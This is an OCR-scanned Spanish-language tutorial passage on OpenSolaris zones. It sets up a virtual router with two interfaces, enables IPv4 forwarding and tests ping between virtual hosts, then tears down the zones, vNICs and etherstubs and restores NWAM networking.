zonecfg:vrouter:net> set physical=vnic4
zonecfg:vrouter:net> end

zonecfg:vrouter> verify

zonecfg:vrouter> commit

zonecfg:vrouter> exit
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Procederemos a instalarlo:
root@battlelloyd-o:~# zoneadm -z vrouter clone vmtipo

Lo booteamos, y nos conectamos a su consola como en los casos anteriores. Los puntos en los que la configuracion
inicial diferird son los siguientes:

— Configure Multiple Network Interfaces

Multiple network interfaces have been detected on this system. Specify all
of the network interfaces you want to configure.

Note: You must choose at least one interface to configure.

Network interfaces

[X] wvnic3
[X] vnic4

Primary Network Interface

On this screen you must specify which of the following network adapters is
the system's primary network interface. Usually the correct choice is the
lowest number. However, do not guess; ask your system administrator if
you're not sure.

> To make a selection, use the arrow keys to highlight the option and
press Return to mark it [X].

Primary network interface

[X] wvnic3
[ 1 vnic4

Host Name for vnic3

Enter the host name which identifies this system on the network. The name
must be unique within your domain; creating a duplicate host name will cause
problems on the network after you install Solaris.

A host name must have at least one character; it can contain letters,
digits, and minus signs (-).

Host name for vnic3 vrouter

IP Address for wvnic3

Enter the Internet Protocol (IP) address for this network interface. It
must be unique and follow your site's address conventions, or a
system/network failure could result.

IP addresses contain four sets of numbers separated by periods (for example
129.200.9.1) .

IP address for vnic3 10.0.0.1

Set the Default Route for vnic3

To specify the default route, you can let the software try to detect one
upon reboot, you can specify the IP address of the router, or you can choose
None. Choose None if you do not have a router on your subnet.

> To make a selection, use the arrow keys to select your choice and press
Return to mark it [X].
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Default Route for wvnic3

[ ] Detect one upon reboot
[ 1] Specify one
[X] None

— Host Name for vnic4

Enter the host name which identifies this system on the network. The name
must be unique within your domain; creating a duplicate host name will cause
problems on the network after you install Solaris.

A host name must have at least one character; it can contain letters,
digits, and minus signs (-).

Host name for vnic4 vrouter20

IP Address for wvnic4

Enter the Internet Protocol (IP) address for this network interface. It
must be unique and follow your site's address conventions, or a
system/network failure could result.

IP addresses contain four sets of numbers separated by periods (for example
129.200.9.1) .

IP address for vnic4 20.0.0.1

Set the Default Route for wvnic4
To specify the default route, you can let the software try to detect one
upon reboot, you can specify the IP address of the router, or you can choose
None. Choose None if you do not have a router on your subnet.

> To make a selection, use the arrow keys to select your choice and press

Return to mark it [X].

Default Route for wvnic4

[ ] Detect one upon reboot
[ 1 Specify one
[X] None

- Desde “hostl” y “host2” hacia la Configuraremos la capacidad de
direccion IP 10.0.0.1. redirigir trafico IP en el Virtual
Router (IP forwarding):

Luego de tener todos los sistemas
virtuales levantados, notaremos que

podemos ejecutar ping: )
- Desde “vrouter” hacia “hostl”,

; . . ., “host2” y “cliente”.
- Desde “cliente” hacia la direccion

IP 20.0.0.1. .
- No hay ping entre las dos subredes

(20.0.0.0/24 y 10.0.0.0/24). Claro
esta, falta configurar el paso de
paquetes de red entre una y otra
red.

- Desde *“hostl” hacia “host2” y
viceversa.
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root@vrouter:~# svcs network/ipv4-forwarding
STATE STIME FMRI
disabled 2:16:22 svc:/network/ipv4-forwarding:default
root@vrouter:~# svcadm enable network/ipv4-forwarding

root@vrouter:~# svcs network/ipv4-forwarding

STATE STIME FMRI

online 2:20:23 svc:/network/ipv4-forwarding:default

Y ahora ya estamos listos para probar conectividad entre las diferentes maquinas virtuales:

root@clienteOQ: ~#
10.0.0.1 is alive
root@clienteOQ: ~#
10.0.0.2 is alive
root@clienteOQ: ~#
10.0.0.3 is alive
root@clienteOQ: ~#
20.0.0.1 is alive
root@clienteOQ: ~#
20.0.0.2 is alive

Como vemos, es posible el trafico de red
desde y hacia todas las maquinas
virtuales. Ya tenemos un esquema de
red como el que en un principio
disefiamos, pero desplegado en una
Unica magquina fisica.

Llegé la hora de deshacer

Como siempre hacemos, luego de un
laboratorio que ha resultado exitoso,
procederemos a deshacer todo lo que
hicimos en los puntos anteriores, para
dejar nuestra maquina tal y como la
teniamos en un principio.

Primero, bajaremos todas las maquinas
virtuales. Si queremos  conservar
“vmtipo” para usarla en un futuro, no es
mala opcién:
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root@battlelloyd-o:~# zoneadm list -icv

ID NAME STATUS PATH

0 global running /

9 cliente running /zones/cliente

12 vrouter running /zones/vrouter

13 hostl running /zones/host1l

14 host2 running /zones/host2

- vmtipo installed /zones/vmtipo
root@battlelloyd-o: zoneadm cliente halt
root@battlelloyd-o: zoneadm vrouter halt
root@battlelloyd-o: zoneadm hostl halt
root@battlelloyd-o: zoneadm host2 halt

Ahora, desinstalaremos todas las maquinas virtuales:

root@battlelloyd-o:~# zoneadm list -icv

NAME STATUS PATH

global running /

vmtipo installed /zones/vmtipo

hostl installed /zones/hostl

host2 installed /zones/host2

cliente installed /zones/cliente

vrouter installed /zones/vrouter
root@battlelloyd-o:~# zoneadm -z hostl uninstall
Are you sure you want to uninstall zone hostl (y/[n])? y
root@battlelloyd-o:~# zoneadm -z host2 uninstall
Are you sure you want to uninstall zone host2 (y/[n])? y
root@battlelloyd-o:~# zoneadm -z cliente uninstall
Are you sure you want to uninstall zone cliente (y/[n])? y
root@battlelloyd-o:~# zoneadm -z vrouter uninstall
Are you sure you want to uninstall zone vrouter (y/[n])? y

Acto seguido, desconfiguramos todas las maquinas virtuales:

root@battlelloyd-o:~# zoneadm list -icv
NAME STATUS PATH
global running /
vmtipo installed /zones/vmtipo

hostl

host2

cliente

vrouter
root@battlelloyd-o:~#
Are you sure you want
root@battlelloyd—-o:~#
Are you sure you want
root@battlelloyd—-o:~#
Are you sure you want
root@battlelloyd-o:~#
Are you sure you want

configured /zones/hostl
configured /zones/host2
configured /zones/cliente
configured /zones/vrouter
zonecfg -z hostl delete

to delete zone hostl (y/[n])? y

zonecfg -z host2 delete

to delete zone host2 (y/[n])? y

zonecfg -z cliente delete

to delete zone cliente (y/[n])? y

zonecfg -z vrouter delete

to delete zone vrouter (y/[n])? y
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Ahora llegé la hora de borrar las vNICs:

root@battlelloyd-o:~# dladm show-vnic

LINK OVER SPEED MACADDRESS MACADDRTYPE
vnicl Etherstubl :8:20:51:4a:a0 random
vnic2 Etherstubl :8:20:a:bec:dc random
vnic3 Etherstubl :8:20:fd:b4:1f random
vnic4d Etherstub2 :8:20:35:45:ef random

vnic5 Etherstub2 2:8:20:e6:5d:cc random
root@battlelloyd-o:~# dladm delete-vnic wvnicl
root@battlelloyd-o:~# dladm delete-vnic vnic2
root@battlelloyd-o:~# dladm delete-vnic vnic3
root@battlelloyd-o:~# dladm delete-vnic wvnic4
root@battlelloyd-o:~# dladm delete-vnic wvnich
root@battlelloyd-o:~# dladm show-vnic

Luego seguiremos con los Etherstubs:

root@battlelloyd-o:~# dladm show—etherstub
LINK
Etherstubl

Etherstub2

root@battlelloyd-o:~# dladm delete—etherstub Etherstubl
root@battlelloyd-o:~# dladm delete—etherstub Etherstub2
root@battlelloyd-o:~# dladm show—etherstub

Y finalmente, volveremos nuestra configuracion a “nwam”, es decir, Network Magic:

root@battlelloyd-o:~# svcs physical:default

STATE STIME FMRI

online 16:59:10 svc:/network/physical:default
root@battlelloyd-o:~# svcadm disable physical:default

root@battlelloyd-o:~# svcadm enable physical:nwam
root@battlelloyd-o:~# svcs physical:nwam

STATE STIME FMRI

online 16:57:32 svc:/network/physical :nwam

Listo, nuestra maquina es como era
entonces.

Conclusioén

En esta entrega hemos podido

observar todo el circuito necesario Herndn “HeCSa” Saltiel
para consolidar los conocimientos AOSUG leader
que hemos incorporado en la CaFeLUG Member

Boca happy fan

entrega pasada. Espero que la

_ Club Amigos de Pumper Nic
hayan disfrutado tanto como yo.

hsaltiel@gmail.com
iNos vemos! http://www.aosug.com.ar

Argentina OpenSolaris Users Group
http://www.aosug.com.ar
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